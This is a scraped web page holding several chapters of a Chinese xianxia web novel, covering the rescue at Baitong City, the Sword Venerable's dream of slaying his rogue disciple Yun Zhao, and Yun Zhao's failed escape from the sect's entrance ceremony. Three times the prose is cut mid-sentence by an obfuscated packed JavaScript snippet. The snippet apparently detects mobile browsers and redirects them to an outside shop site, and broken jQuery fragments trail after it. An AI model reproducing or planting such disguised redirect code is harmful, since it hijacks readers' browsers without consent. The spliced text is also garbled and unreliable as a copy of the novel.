但事情绝没有这么简单,内间的打斗声已经停了,一个浑身浴血的魔修跌跌撞撞地出来复命:“主上,里间那个,已经解决了,折损三人。” 燎凤冷声:“废物。” 前来复命这人陡然瞪大双眼,只见一缕森然黑气自他天灵盖处溢出,顺着燎凤指尖化入体内,转瞬之间,萦绕在燎凤身周的威压更盛几分。 而眼前这个魔修,眨眼间就化为白骨。 云诏瞳孔骤缩,心中顿时涌出几分反胃之感。 他再清楚不过,魔修的功法,本源就是吞噬。吞噬天地,吞噬同类修为,吞噬血肉,吞噬一切能在体内炼化转化为魔气的东西。 有如此邪门歪道加持,魔修的修为,自然涨得突飞猛进,不过这些魔修大多根基不稳,内里其实虚得很。 卫不迟一剑击飞了一个意欲偷袭的魔修,趁机给二人传音入密:“我能感受到韩道友的气息,虽不至丧命,但已是气息奄奄,我们得抓紧带上他逃出去,那个燎凤不是我们三个能对付得了的。” 澹台诫询问:“像燎凤这种级别的魔修,我们的伏魔阵能撑多久?” 卫不迟粗略估量:“至多一炷香的时间。” 澹台诫咬牙:“够了,我拖住他,师兄你带着贺鑫鑫和韩昇先出去,然后我再去找你们汇合。” 时间紧急,卫不迟二话不说将娥皇钟暗中交给他:“不要逞强,娥皇钟我借于你,你要心中有数,不要和燎凤拼命……我们在城门处等你……” 云诏一刀横陈在前,拦住了燎凤力若千钧的一击,强大魔力震得他虎口发麻,炼气期微弱的灵力毫无用处,此刻的他,在燎凤眼前,就像一只抱头乱窜的蚂蚁。 燎凤狰狞的笑容就在眼前:“担忧吗?恐惧吗?我已感受到你的动摇,果然,这些凡人都毫无用处,只有你,只有你的力量,能令帝尊……” 倏地,空气的流动一滞。 燎凤话音未落,脸色骤变。 百通城正上方,一块冰蓝玉令静静悬浮。 自玉令而下,骤然升起一道淡蓝冷光,向四周缓慢散开,将整座百通城包裹其中。 ——灵域。 硕大的“赫”字在灵域界印上安静浮现,又转瞬即逝。 燎凤失态大吼:“探微的灵域?晦气!” 灵域只有大乘期或大乘期以上的大能有权开启,一旦大能占地插旗,在某一处开启了灵域,则代表此地发生的一切,由这位大能全权接管,其他大乘期及以上的大能不得插手。 当世达到大乘期修为的大能仅有六位,为了避免高阶大能之间冲突的造成,律庭才想出这样的办法。 百通城上方探微灵域现世,许多人若有所感,频频遥望远方。 而灵域内部,小小的房间之内,一人缓缓走近。 他身负雪亮天光,将黑暗劈开,似有万物法则在他脚下重组,天地因果自他掌中推演,赫寒声虽白绸覆眼,但万事万物,都逃不过他的万象心眼。 燎凤死到临头仍嘴硬,他面容扭曲:“真没想到,此等小事竟能劳动您的尊驾。” 卫不迟心中一松,心想总算得救了,若是再这么下去,他们几个能不能活着走出百通城都不好说。 唯独云诏瞳孔微缩,对赫寒声的到来感到十分不可思议,暗暗心想:“赫寒声什么时候对这种鸡毛蒜皮的小事也开始上心了,放在以前,这种事哪用得着他亲自出手。” 并不知云诏心中所想,赫寒声微微抬指,在虚空之中轻轻一划:“此地由我接管,当中污秽,除!” 他低沉的声音一落,浓郁得令人窒息的魔气如潮水般散去,归墟境大能言出法随,不需他出手,百通城上空笼罩的阴森魔气,便已全然散去,而燎凤这一行魔修,也早已湮灭,无从找寻了。 卫不迟嗓音轻颤:“多……多谢剑尊出手相救。” 澹台诫眼中对赫寒声的敌意一闪而过,他学着卫不迟的模样,低头行礼:“多谢剑尊大人出手相救。” 赫寒声敏锐捕捉到了来自澹台诫的敌意,他恍若未觉,将头侧向云诏的方向。 云诏连忙埋头行礼:“弟子多谢剑尊大人救命之恩。” 赫寒声观察着云诏的一举一动,他看着这个小弟子假装乖顺地埋首行礼,他看着这个小弟子久久等不到自己出声,一双眼睛滴溜溜地转,他看着这个小弟子伤痕累累的身体和满是斑驳血迹的衣衫,许久没有开口。 久到小弟子都疑惑地抬起头看他了,赫寒声才记起出声问他:“你就是贺鑫鑫?” “正是弟子。” 赫寒声缓声道:“你为我玄天宗弟子,此行本是无妄之灾,将你牵涉进来,日后本座自会亲自带你前往律庭问责。” 听闻此话,卫不迟心中忽然升腾起一种不祥的预感。 他本能想起他们临行前,他的师尊李长渡给他的那一则传讯。 传讯里,李 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17595849|205566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长渡语气实在微妙,他总觉得师尊身边有旁人在,难不成,那个时候,在师尊身边,就是前去叫停“诱敌计划”的探微剑尊!? 在一刹那间,卫不迟浑身的汗毛都炸起来了,一股冷意从他心底蔓延到了全身。 完了。 云诏嘴比脑子还快:“剑尊,此行是弟子主动要求前往的,弟子在外门如蛀虫一般多年,心中难受,现有此等回报于宗门的机会,弟子自当竭尽全力,守卫天下苍生,百死不悔!” 赫寒声一哂:“守卫天下苍生?” 云诏连珠炮一样,大义凛然:“没错,此行也是弟子为自己的修行设下的一道历练,弟子一直坚信,心怀苍生,方能立足本心,弟子也是为寻找自己内心之道才下山而来,若能有所得,那自然就是弟子心之所向!” 赫寒声负手静立,整个人端方出尘,但说出的话,却让心尖一颤:“玄天宗有律,筑基以下弟子严禁私自下山历练。” 云诏:“……剑尊,弟子实在不忍见百通城……” 赫寒声铁面无私:“明知故犯者,罪加一等,速与本座回玄天宗领罚。” 澹台诫此时天不怕地不怕地走出来,拦在云诏身前,做出了十足的保护姿态:“剑尊大人,此事与贺鑫鑫无关,是我们以律庭之命施压,要求他务必前来百通城相助,剑尊若是有心规诫他,错本在我们,我与师兄皆愿代他受罚。” 卫不迟也站了出来,沉默地站在澹台诫身边。 两个少年脊背挺直,似新竹破土而出,胸膛随着压抑的呼吸而微微起伏,此时此刻,与他们对峙的是一位当世的顶尖大能,这位大能碾死他们就像碾死一只蚂蚁,而就在刚刚,他们还不知死活地顶嘴。 云诏偷偷拉澹台诫的袖子:“不是,没必要……” 霎时,周遭仿佛闪起火光。 赫寒声的心眼看见了两人的小动作,那亲昵的,毫无芥蒂的姿态尽收他眼底,霎时,弥漫在四周那如海潮,如浪涛的威压更是强盛几分,澹台诫险些没扛住,额角落下一滴冷汗。 赫寒声唇线绷直,在愈发深重的沉默之中,掀唇开口:“那你们三个,便随我回玄天宗领罚,李长渡那边,本座自会去说。” 澹台诫和卫不迟一愣。 云诏上前一步,佯装乖巧道:“剑尊命令,我们自然听从,只不过我们还有一个散修伙伴,此时重伤昏迷,可否容许弟子将他救治之后,再启程上路?” 赫寒声微微侧头,面孔安静地朝向他。 可那一瞬间,云诏感觉自己仿佛被一道湿粘沉冷的目光缠住了。 “三日后,停岚峰思过堂,过时不候。” 话音刚落,三人身上皆是一轻,那可怖的威压消失不见,屋内也再看不到剑尊的身影了,。 只是这一口气还没松下来,三人却听得内间一阵乒乒乓乓的响动,云诏反应最快,他立即冲进内间,嗓音蕴藏几分惊喜:“你没事了?” 韩昇浑身浴血,一袭白衣沾满血污,他呛咳几声,孤立无援地呆坐着,看向云诏的一双黑沉沉的眼睛有些失焦,似被浓重的雾霭覆盖,其后是一汪深不见底的冰潭。 云诏心底一惊,下意识伸手在韩昇眼前晃晃:“你怎么样?能看见吗?” 该不会是被那几个魔修伤了眼睛…… 韩昇抬手握住云诏作乱的手,定了定神,原本晦暗的眼眸中绽放几缕光彩:“无妨,只是有些头晕。” 云诏松一口气,抬手往韩昇嘴里塞了两颗极品丹药,随后没骨头似的把胳膊往韩昇肩膀上一搭:“吓死人了,还好你醒过来得晚,要是醒得再早些,你就能撞见探微剑尊了……” 回想起来刚才的场面,云诏心有余悸:“板着一张脸,非要罚我们,我也就算了,澹台诫和卫不迟关他什么事啊,哼,他这副样子,死人看见都得活过来赶紧跑。” 韩昇垂眸,似笑非笑地看他。 良久,唇角似是勾了一下,轻声开口:“……是么。” 7. 百通城(五) 风卷狂云,雷震雪涛,明镜台上银装素裹,这证明长宁峰上的回春阵法被毁得彻底,而罪魁祸首身着单薄的黑衣,脸色苍白若纸,他的皮肤极薄极透,那一层脆弱的雪白肌肤之下,暴露在寒冷空气之中的部位全都泛着柔软的粉红色。 他歪头微笑,随手扎的高马尾如黑云般坠落肩头:“师尊,好久不见,你亲自出面,是来接我的吗?” 这一声很轻,却如警世巨钟长鸣,韩昇浑身一震,猝然睁开双眼。 视角高了些许,脊骨内沉睡的千念存在感十分强烈,韩昇这才反应过来,自己这是入了梦,在梦境里,他恢复了原身。 赫寒声——当世赫赫有名的探微剑尊,已臻至归墟境,竟还会被梦境困扰。 梦中境依附于神识而生,完全是梦主的私人空间,只要梦主想,完全可以将这一段真实发生过的场景,根据自己的想法来进行改变。 按照常理来讲,归墟境后期的高阶大能理应不会再入梦境了,除非中了梦术,可当今世上,还有谁修为高过探微剑尊,可以无知无觉地给他种下梦术呢? 赫寒声身处人群之中,静静凝望被人群包围在中央的云诏。 梦中一切都由他神识所化,本出同源,因此他这个外来者,根本不会被发现。 如无外因,入梦,还有一种可能。 ——道心不稳,灵台生隙,执念深埋识海,日夜折磨。 与云诏对峙的剑尊已然亮剑,剑光耀眼,淡淡吐出两个字:“逆徒。” 赫寒声看着一百四十年前的自己,那个被誉为万世师表,修真界道德标杆的探微剑尊,含着清锐眸光的一双眼,根本无法容纳眼前的脏污邪恶。 云诏笑容不变,眼角的笑弧淡了些许:“师尊怎能说弟子是在作恶?所有人都遵从心中欲.望,做忠于内心之事,做一个真实的人,不好吗?” 云诏忽像山间鬼魅般凑近,声音轻悄:“师尊,你内心有惧意,你在怕什么?” 剑尊身周强势的护体真元竟未伤到云诏分毫,见状,云诏彻底笑开:“是怕我真的会死吗?” 骤然间,磅礴灵力自剑尊身周荡开,云诏没有还手,任刮骨灵力加诸于他身,自身如风中落叶一般落地,单薄的身板磕到明镜台上坚硬的白玉石砖之后,立刻呕出了一口血。 剑尊持剑,向前一步,居高临下地俯视他,冰冷启唇:“不知死活。” 赫寒声悲哀地看向剑尊,口中喃喃:“停手。” 周遭骂声更甚,有一人高声叫嚣:“杀了他,剑尊大人!这逆徒不知悔改,只为造成大规模的恐慌,这人连烧十城,死伤无数啊剑尊!不能再任他……呃啊!” 赫寒声静静收剑,眸中寒霜尽现:“聒噪。” 竟是滴血未见,这人就如烟尘一般消散了。 其他人对这里发生的骚动没有任何反应,只依照既定事实行动。 赫寒声神色未变,但脸色微白,他眸光恢复宁静,再次注视向人群中央的黑衣人。 云诏保持笑容不变,眨眼间凑到剑尊面前:“对啊,杀人,放火烧城,活祭,毁道修魔,到我如今此等修为,不知有多少性命死于我手,那又怎样呢,师尊,你果真舍得杀我?” 云诏像是观察着什么新奇的玩具一样,拨弄着千念剑身,随后,当剑锋距离心脏仅有寸许之时,停下了,再抬头时,眼中有孤注一掷的疯狂:“师尊,你还教导过弟子,面对大奸大恶之人,不可心软, 一声轻笑:“来吧。” 忽然放大的脸令剑尊呼吸有一瞬间的停滞,但也仅是一瞬间而已。 剑尊将灵力注入长剑,千念万般变化,最终剑身经银蓝冷光淬炼而成神念,世间万般因果律法,都难逃此剑。 说话间,云诏已号令魔界大军围攻玄天宗,此令一出,绝无回寰可能,剑尊脸上写尽冷意,神念剑身之上荧蓝光芒大盛—— “回头是岸,为师给你一次机会。” “来不及了,师尊。” 云诏此刻的表情就深深烙印在赫寒声的脑海里,无数个日日夜夜,灵流紊乱时,修炼瓶颈时,修为进阶时,每时每刻,他都会想起。 ——云诏是那样的坦然,从容,仿佛他等这一刻,已经太久了。 双耳嗡鸣,双目剧痛,眨眼间,剑锋撕裂长空,漫天飞琼,静、快,赫寒声抬手,毫不迟疑地落剑,同样荧蓝的剑身没入剑尊胸膛。 剑尊愕然地看向赫寒声的方向。 剑尊身影如烟尘一般消散,这一缕神识,灭于主人赫寒声之手。 赫寒声脚步微顿,缓缓抬手,拭去嘴角溢出的一抹血丝。 他自伤神识,只换得云诏在自己面前,活了一个瞬间。 可后面的事,赫寒声却不知道会怎么样了。 梦主无力再织造后续梦境,梦境坍塌,无以为继,天崩地裂,山石俱碎,赫寒声身着雪衣,如一道顶天立地的石柱,悲哀地寂立在混乱天地之间。 - “韩昇,醒醒,喂!”只感到自己被猛地一推,韩昇睁开双眼,看见了面含关切的贺鑫鑫。 韩昇坐起身,看见了同样关切看他的卫不迟,平静开口:“我没事,出发吧。” 云诏抬眼观察韩昇。 韩昇的状态实在差,脸色灰败,似是神识有损,云诏叫住他:“你要是难受,我们多休息一个晚上,也无所谓的。” 韩昇不肯:“无妨,赶路要紧。” 必须要尽快回到玄天宗。 卫不迟对澹台诫使了个眼色,澹台诫会意,给在场所有人都递了一个台阶:“行了行了,金丹大圆满的修为没那么不耐造,我们还要尽快赶路去玄天宗呢,剑尊大人还在那等着我们,快走了。” 卫不迟和澹台诫本意是先带云诏回玄天宗,让韩昇在百通城休养一两天,事后他们再汇合,商量后续去处。但韩昇执意要送他们这一程,也就任他去了。 三个半大少年凌空御剑,云诏有点尴尬,刚要开口,就见到一只满布剑茧的手伸来,韩昇轻声道:“我载你一程,上来吧。” 赶路的过程颇为无聊,云诏努力缩小自己的身体,动都不敢动,御剑飞行难免颠簸,云诏总是控制不住地倒向后方,每次后背都贴上韩昇的胸膛。 云诏只能僵直身体,迅速分开,然后无语望天。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17595850|205566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 韩昇你御剑载人怎么你自己站后面啊??? 他们三个似乎都没有发现云诏的窘迫,尤其韩昇,还时不时低头看路,判断方向,下巴总是若有若无地碰过他的发顶,每碰到一次,云诏就全身僵硬一次。 男男授受不亲啊…… 云诏再度无语望天。 “不用担心了贺鑫鑫,剑尊在此地落下灵域,他一句真言已荡平灵域内的污秽之物,短时间之内,魔修应该不敢再来惹是生非了,”卫不迟稳稳地御剑,声音里满是对探微剑尊的崇拜。 “只不过,”卫不迟偏头,“对不起把你牵扯进来了,你神魂的力量不俗,魔修此次必定彻底盯上了你,日后恐怕难以平安度日,不然你来律庭如何?律庭定会护你周全。” 这一次澹台诫积极非常:“我同意,你实力不弱,怎么就只甘心混在玄天宗外门?你来律庭,当我师弟,我亲自教你,定不会让你就此埋没,怎么样?” 云诏戏谑道:“我这种凡夫俗子,怎能进入律庭。” 澹台诫别别扭扭地:“谁叫你扮猪吃老虎,你到底来不来律庭?律庭……” 韩昇忽然开口,强硬打断澹台诫的话:“五日之后就是玄天宗的入门大典,你为何不重新拜师?” 云诏心想:我千方百计地从玄天宗那个地方跑出来,你还让我回去?不可能不可能。我可是人人得而诛之的大魔头云诏啊,万一身份被识破,自己魂飞魄散就魂飞魄散了,贺鑫鑫的身体他还要完璧归赵呢。 但话到嘴边,就变成了:“那怎么行,我只是个外门弟子,没资格参加入门大典的。” 韩昇:“一个身份而已,注销之后自然可再重新报名。” “……”云诏作恍然大悟状,“哦哦哦,原来还可以这样啊!那我自然是要拜入玄天宗的。” 韩昇没再说话,但他看见了云诏那一双滴溜溜乱转的眼睛。 - 在玄天宗气势磅礴的山门之前,韩昇与他们三人道别。 少年身形挺拔高挑,转身欲走,但这莫名让云诏觉得这身影有些单薄,忽地就想起了初遇那天,他被一队散修抢劫夺宝,险些丧命,若是再让韩昇在修真界内游历,不知还要遇上什么危险。 对这个好伙伴,云诏心中莫名生出些许保护欲。 云诏尝试挽留:“你实力这么强,不考虑一下拜入玄天宗吗?有一个宗门庇护,总要比你现在的情状要好很多。” 韩昇摇头:“我无意于此,再见吧。 云诏小跑两步,追上去,掏了掏,掏出韩昇的那张白色绢帕:“洗干净了,还你。” 韩昇注视着那块绢帕良久,才接过来,收好。 云诏又叮嘱他:“路上小心,别死了。” 韩昇勾起唇角:“放心,死不了。” 注视着韩昇远去的身影,云诏叹一口气:“唉,不知道还能不能再见。” 澹台诫抱臂看他,满脸不屑:“你要是舍不得他就留住他啊,和我们唉声叹气有什么用。” 云诏这次破天荒地没有和澹台诫呛起来,只遥望着玄天宗高耸入云的二十四峰,喃喃道:“这是个囚笼,何必呢?” 8. 入门大典(一) 云诏和卫不迟澹台诫两人忐忑地上了停岚峰,周遭弟子全都严阵以待,三人心中不安更甚,硬着头皮迈进了思过堂。 没看见赫寒声的身影,倒是思过堂正中央站着一个年幼的小侍童,见他们三人进来,露出个稚嫩的笑:“你们终于来了。” 云诏奇道:“你是寒英峰的小童?剑尊派你来的?” 守云点头:“正是,剑尊特意吩咐我在此地等你们来,将两句话捎给你们。” 果真是寒英峰的小侍童。云诏不由得想起他还没死那时,偌大寒英峰上冷冷清清的,只有他自己和赫寒声两个人,当年寒英峰阴森得让他害怕,他年纪还小那会,吓得不行,整天只知道粘着赫寒声,白天往赫寒声的书房钻,晚上往赫寒声的卧房钻,总之赫寒声在哪,他就在哪。 到如今,寒英峰上倒是有了几分人气,是好事。 卫不迟率先问:“剑尊大人有何事要吩咐我们?” 守云乖巧回答:“二位就是律庭的师兄吧,剑尊特意谢过二位护送贺师兄回宗门,百通城一事剑尊大人自会与李主事细说,二位不必再忧心了。” 澹台诫心里想的都挂在脸上:“就这,他不罚我们了?” 守云笑着问:“为何要罚你们?” 卫不迟按住澹台诫,鞠躬行礼:“多谢剑尊体谅。” 守云又望向目瞪口呆的云诏,脸上笑容不变:“贺师兄,剑尊却是实打实地打算罚你呢。” 澹台诫顿时同情地望向云诏。 守云道:“再过五日就是玄天宗三年一度的入门大典了,剑尊大人特意嘱咐在下,督促师兄完成外门弟子身份的注销和入门大典的报名。” 云诏:“……” 守云笑眯眯地:“还请两位师兄先行回去休息,什么时候待腻了自行离开便可,那贺师兄,请吧。” 云诏不死心地朝澹台诫使眼色,澹台诫选择性装瞎,无视了云诏的祈求。 而在前往长宁峰的这一路上,云诏无数次向守云确认是不是搞错了,自己只是一个神志不清、天资愚钝的小傻子罢了。 但不管云诏把自己说得有多不值一提,守云都只回一句:“都是剑尊的吩咐。” 云诏:“……” 云诏实在无奈,他本想趁着神不知鬼不觉地注销自己的外门弟子身份,然后再找个机会离开玄天宗,但现在旁边守云一直盯着他,也只能先把外门弟子身份注销了,再见机行事。 长宁峰醒世堂的管事弟子乍一看见云诏的脸,手中失力,记录玉简登时脱手,他手忙脚乱地才将玉简接住,随后面红耳赤地盯着云诏问道:“这位道友,有何公务要办?” 守云轻咳一声,一弯眉眼:“这位师兄,我们是奉剑尊之命,来办理身份注销的……” 管事弟子连声应道:“哦哦哦,身份注销啊,没问题没问题。” 注销流程很简单,管事弟子接过云诏的玉令,将玉令内部的专属符印破坏掉,“贺鑫鑫”就从玄天宗外门被除了名。 云诏一瞬间有些动心,上一世他确实没怎么注意到,原来证明玄天宗弟子身份的证据只是玉令里面的一个符印,那岂不是私下里破坏或是重造一个符印都很简单? 看穿云诏心中所想,守云温声为他解释:“每个弟子玉令之内的符印都是独一无二的,而且每一个玉令都在宗门机杼内录入,也就是说,单方面的变更,不作数哦。” 云诏作恍然大悟状:“原来如此啊。” 守云含笑:“师兄,这边来,我们再去入门大典报名处。” 云诏忽然捂住肚子,痛苦不堪,额头直冒冷汗,虚弱地扶住守云:“我不行了小守云,肚子好疼……” 守云脸上的笑险些没挂住:“师兄,不行,剑尊专门吩咐过,不管发生什么事,我都得先带你去报名。” 云诏根本站不住,脸色惨白:“小守云,行行好,我快疼死了,你让我先去解决一下好不好,我发誓,我肯定不乱跑,解决完我马上就回来。” 守云见他实在难受,板着一张小脸犹豫半天,半信半疑:“真的?” 云诏顾不上那么多,边跑边向守云保证:“真的,这种事,我骗你干什么!” 等跑至无人处,云诏忽就慢了下来,脸上痛苦的表情转瞬不见,他谨慎地环顾四周,发现没有人注意到他之后,才真正地松了一口气。 “小守云,你还得练啊。” 云诏心情颇好地转身往报名处相反的方向走去。 他现在已经不是玄天宗的弟子了,更是一身轻松,此时不跑,更待何时。正巧他还记得一条下山小路,这条小路险峻异常,但连通着长宁峰山脚处的一个小山村,直通凡人界。 这条小路没什么人知道,但很不凑巧,偏偏这条路他熟记于心,上一世他还没叛出师门的时候,常常走这条小路,偷溜下山去玩。 自由、快乐的生活就在前方向他招手—— 一百四十年时间的磨砺足以让小路上的景色发生天翻地覆的变化,云诏颇为好奇地观察着路边的每一景每一物,路边盛开的不知名小野花都让他身心舒畅。 正当他肆意撒欢之时,头也不抬,直挺挺地撞上了一堵人墙,痛得他瞬间就溢出了眼泪。 云诏捂着被撞痛的额头,泪眼婆娑地抬头,朦胧之间,只看见了两道挺拔修长的人影。 常双月好奇地打量着云诏:“剑尊真是神机妙算,一大早就让我们来这里候着,我还以为是剑尊在考验我们,结果还真能候到人。” 温锦明朝云诏颔首:“这位道友,你就是贺鑫鑫吗?” 云诏捂着头,一脸警惕:“你们是谁?” 常双月似乎觉得云诏这样颇有意思,好笑地朝云诏施了个小治愈术,自我介绍道:“我们是寒英峰剑尊座下的记名弟子,奉剑尊之命在此等候一个名叫贺鑫鑫的人,带他去入门大典的报名处。” 云诏:“……” 温锦明重复问道:“这位道友,你就是贺鑫鑫吗?” 常双月打量着云诏:“就是他没错了,你不用怕我们,剑尊本是一番好意,你本不用去百通城遭这一遍罪的,在你们启程的那一天,剑尊已与律庭主事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17595851|205566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在商议此事了,但卫不迟澹台诫他们两个无礼之人竟直接将你拐走,导致剑尊已拦截不及,剑尊对此事自责不已,只好在入门大典你正式拜入玄天宗之前,将你带往寒英峰看顾。” 温锦明:“也理应由寒英峰看顾。” 云诏:“……多谢剑尊好意,但我……” 他本要说游历四海,但他眼尖,远远地就瞥见了两抹鲜红,遂嘴角一勾, “但我对律庭更是心向往之,说来惭愧,我早已对那位背着双刀的小道友芳心暗许,能去往律庭更是我一生所求,你们看,我的意中人来接我了。” 温锦明和常双月齐齐顺着云诏手指的方向看去,果然看见了两个身影,一个背双刀,一个负长剑。 温锦明:“芳心暗许!?” 常双月:“律庭!?” 云诏面露羞赧:“百通城这一行,更是让我看清楚了自己的内心。” 温锦明嗓门大一些,远远地朝卫不迟和澹台诫喊:“卫道友,澹台道友,烦请过来一趟。” 卫不迟和澹台诫一脸意外,完全没想到这种荒无人烟的地方都能碰见熟悉的面孔。 等两人赶至近前,常双月探头过去,肃容问道:“临时把二位叫来多有打扰,只是我们奉剑尊之命在此等候贺鑫鑫,但贺鑫鑫说他更向往律庭…… 说到这里时,常双月故意停顿一下:“二位是否知晓此事?” 云诏在温锦明和常双月的背后双手合十,疯狂朝卫不迟和澹台诫作揖。 卫不迟顿时会意,露出他那个令人如沐春风的标志性笑容,温声道:“律庭山门常开,从不拒有缘人,贺道友若心意已决,我们自然没有不应的道理。” 常双月悍然亮剑,肃容道:“既然如此,剑尊有令,必要时,若律庭前来抢人,则采取强硬手段!” 澹台诫自是毫不示弱,一听到是剑尊的命令,他立刻就长了一身反骨,拔刀就要迎上。 云诏立刻冲出来,拦在剑锋之前:“停停停,打打杀杀伤了和气就不好了!” 澹台诫唇角勾起一抹讥笑:“律庭与玄天宗哪里来的和气。” 澹台诫的这抹讥笑立刻刺激到了常双月,见这两人果然是要来抢人的,这哪里是贺鑫鑫的芳心暗许,这明明是两情相悦才对吧! 常双月冷笑:“只盼到时候遇到棘手之事,某位主事不要再来求我们剑尊才是。” 云诏疯狂地朝澹台诫挤眉弄眼,堪堪挤出一滴酸涩的眼:“是我糊涂了,玄天宗为修真界第一宗门,我还有什么不满足的呢。” 云诏边说边重重地抱了一下澹台诫,又狠狠地同他握了下手:“对不起把你们牵扯进来了,我决定拜入玄天宗,你们还是先走吧。” 澹台诫:“……” 这人的演技很浮夸。 但是和云诏那双含着水泽的眼睛对上之后,一瞬间,他们两个人之间就有了那么点心有灵犀,臭味相投的默契。 等走远了,澹台诫打开自己掌心被云诏强硬塞进来的一个小纸团。 上面赫然画着一张定位符。 9. 入门大典(二) “正式给你介绍一下吧,我叫常双月,这位是我师兄,温锦明,我们两个都是剑尊座下的记名弟子,守云么,你应该已经见过了,剑尊常年闭关,所以寒英峰上你最常见到的,就是我们三个。” 常双月与温锦明两人一左一右牢牢架住云诏,严防死守,不给云诏任何逃跑的机会。 云诏讪笑:“小守云呀,我们见过了已经,不过,两位师兄,能不能放开我自己走?这样子好像我犯了大错,很难看的。” 常双月摇头:“这也是剑尊吩咐过的,剑尊叮嘱,一旦你同意和我们走,我们两个就绝对不能让你再离开我们的视线。” 温锦明:“不能放开。” 云诏:“……”算你狠,赫寒声。 温锦明与常双月两人将云诏押回了入门大典报名处,守云还等在那里,一见云诏,笑开,脸颊上冒出两个小酒窝:“贺师兄,你回来啦?” 云诏越发觉得守云这个小不点笑得并没有表面那么纯良,不由得朝守云竖起一个大拇指,由衷道:“你们剑尊大人果真料事如神。” 守云笑道:“与我们说一说就算了,可莫要去和剑尊大人说。” 云诏来了几分兴趣:“为何?” 守云:“你见过剑尊,就知晓了,贺师兄,现在该报名了,请吧。” 云诏:“……” - 赫寒声轻轻睁开双眼,缥缈之中,他看见了阴照岭山脚下的自己。 他便知晓,他入梦了。 那一年,他闲来无事,随手处理了几个扎根在阴照岭的魔修,下山时,在山脚下,遇到了一个昏迷不醒的年幼小童。 小童未着寸缕,蜷缩在地,双眼紧闭,呼吸微弱,像是由天地之间诞生的。 赫寒声知晓自己动了恻隐之心,他看着当年的自己脱去外衣,盖在小童身上,轻声唤醒了小童。 小童很快就被唤醒,一睁眼看见眼前的人,像是被惊动的小兽一样,面色苍白,浑身瑟缩颤抖,瘦得一双眼睛几乎有半张脸大了,小手紧紧攥着一件拢在身上大得过分的雪色衣袍,显得极为可怜。 剑尊居高临下地俯视着他:“你叫什么?” 小童一脸茫然地望着剑尊张合的唇瓣,一副不谙世事的模样。 剑尊蹙眉:“听不懂?” 但很快,他发现,这小童不是听不懂,而是不会说话。 荒郊野岭,阴云低垂,眼见着就要落下一场暴雨,赫寒声的确做不出来将一个小童扔下的事,只在心中做下决定,将小童先带回寒英峰。 寒英峰四季均银雪覆山,就连虹桥之上都覆盖着经年不化的积雪,赫寒声喜幽静,截至今日之前,寒英峰上都只有他一人在此清修。 玄天宗不推崇苦修,整整二十四峰唯有寒英峰银装素裹,不似长宁峰古朴大气,不似雁回峰四季如春,草木葳蕤,更不似飞来峰雅致清幽,总之,寒英峰顺应天时,萧瑟肃杀,孤寂清绝,像是一座人迹罕至的荒山。 “云中诏音留万古,便唤你云诏吧,今日本座将你收为座下亲传,你可愿意?” 云诏连话也不会说,只会模仿,他拢着赫寒声的外袍,十分依赖地往赫寒声腿边贴,仰头,讨好似的睁着大得过分的一双黑眼睛,里面落着细碎星河,奶声奶气地跟着发声:“于……于闹!” 赫寒声垂眸:“叫师尊。” 小云诏努力半天,涨红了脸:“西军!” “……”赫寒声迟疑良久,伸出手,摸了摸云诏的发顶。 从这一日之后,探微剑尊从阴照岭带回来一个幼子的事,传遍了整个玄天宗。 岳连歧因为这件事,特意去找自己那个向来都冷面冷心的师弟,刚到寒英峰上,就看见独自刨雪玩的云诏,那云诏天真烂漫,小小一个,实在惹人喜欢,哄得岳连歧笑得见牙不见眼,云诏也懂事,拉着他的衣摆就进了自家师尊的书房。 学了这么多天,只学会了说“师尊”两字,对着岳连歧,也“师尊”“师尊”地叫,赫寒声微微蹙眉,耐心教他:“这位是掌门师伯。” 云诏歪头,勉强发出四个乱七八糟的音节。 岳连歧心都快化了,从储物戒里掏出一根从自家徒弟那没收来的糖葫芦,递给云诏,笑得十分和蔼慈祥:“我跟你师尊有话要说,你自己出去玩一会,好不好?” 小云诏接过糖葫芦,小跑着跑开了。 岳连歧感慨:“我要是有这个小徒弟,怎会老得这么快。” 赫寒声开口:“师兄来找我,所为何事?” 岳连歧斟酌着开口:“最近许多人来与我商议这件事,我想了想,还是要把这些事和你说一说。 “你这小徒弟,是从阴照岭捡来的,我没说错吧。” 阴照岭这三个字,实在敏感,只因为它是通往魔界的入口。 当年千面帝尊蜚绩被封印于此处,使得阴照岭更是成了璇玑大陆的禁忌之地。 也就是从最近开始,那些原本退回阴照岭回护蜚绩的那些魔修,在璇玑大陆之上,开始频繁动作,胡作非为。在这个敏感的时节,探微剑尊从阴照岭山脚下捡回来一个不谙人事,聪明乖巧,且修炼天赋异于常人的小童,不由得让人怀疑,这是魔修投入人间的魔种,只待长成的那一刻,祸乱世间。 